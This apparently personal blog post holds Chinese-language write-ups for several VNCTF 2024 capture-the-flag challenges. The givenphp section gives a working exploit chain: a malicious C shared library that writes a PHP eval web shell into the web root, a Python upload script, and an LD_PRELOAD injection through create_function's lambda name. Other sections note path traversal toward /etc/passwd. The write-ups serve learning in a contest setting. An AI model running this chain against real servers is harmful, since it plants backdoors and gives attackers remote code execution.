CHHHCHHOH 's BLOG

VNCTF 2024

Checkin

根据game.js的逻辑,通关时会调用finalGame,找到函数


TrySent

SentCMS文件上传漏洞


givenphp

源码:

 <?php
highlight_file(__FILE__);
if(isset($_POST['upload'])){
    handleFileUpload($_FILES['file']);
}

if(isset($_GET['challenge'])){
    waf();
    $value=$_GET['value'];
    $key=$_GET['key'];
    $func=create_function("","putenv('$key=$value');");
    if($func==$_GET['guess']){
        $func();
        system("whoami");
    }
}
function waf()
{
    if(preg_match('/\'|"|%|\(|\)|;|bash/i',$_GET['key'])||preg_match('/\'|"|%|\(|\)|;|bash/i',$_GET['value'])){
        die("evil input!!!");
    }
}
function handleFileUpload($file)
{
    $uploadDirectory = '/tmp/';

    if ($file['error'] !== UPLOAD_ERR_OK) {
        echo '文件上传失败。';
        return;
    }
    $fileExtension = pathinfo($file['name'], PATHINFO_EXTENSION);

    $newFileName = uniqid('uploaded_file_', true) . '.' . $fileExtension;
    $destination = $uploadDirectory . $newFileName;
    if (move_uploaded_file($file['tmp_name'], $destination)) {
        echo $destination;
    } else {
        echo '文件移动失败。';
    }
} 

看一下差不多就知道考点了
文件上传的python脚本,create_function的返回名称,LD_PRELOAD加载恶意.so文件
先生成恶意.so文件

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
 
 
void payload() {
        system("echo \"<?php eval(\\$_POST[cmd]);?>\" > /var/www/html/shanks.php");
}
int geteuid() 
{
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    payload();
}

gcc -shared -fPIC 1.c -o 2.so
然后写脚本上传

import requests

url = 'http://b63c9f58-7566-42fe-914f-0fcceaaf5a57.vnctf2024.manqiu.top/'
files = {'file': open('2.so', 'rb')}
response = requests.post(url, files=files,data={'upload':1})
print(response.text)
#/tmp/uploaded_file_65d01e88cbce14.10675338.so

create_function匿名函数的名字是\x00lambda_%d
所以我们传值
?challenge=1&key=LD_PRELOAD&value=/tmp/uploaded_file_65d01e88cbce14.10675338.so&guess=%00lambda_1
然后就加载了我们的恶意.so文件

CutePath

搜索得到目录穿越漏洞,/#/123/../../../但是比赛的时候一直试的是../../../etc/passwd,一直没回显还以为不是这个,估计应该是只能显示文件夹。


往上穿一级可以找到用户名和密码

在重命名处文件名会解析路径,所以可以进行任意文件的移动


还有一种就是下载文件夹的时候会打包下载,直接下/flag文件夹的zip包。

codefever_again

最新的codefever,直接去github的issue看有没有人提交漏洞


没看到漏洞,但是其实是因为github默认加了个is:issue is:open 的过滤器,去掉这个就可以找到Remote Command Execute Vulnerability,不过没去试。
实际上附件直接给了payload

看了wp,发现大家都是用邮箱rce,加again好像是2022的西湖也是这个,而且洞也没修。

添加新评论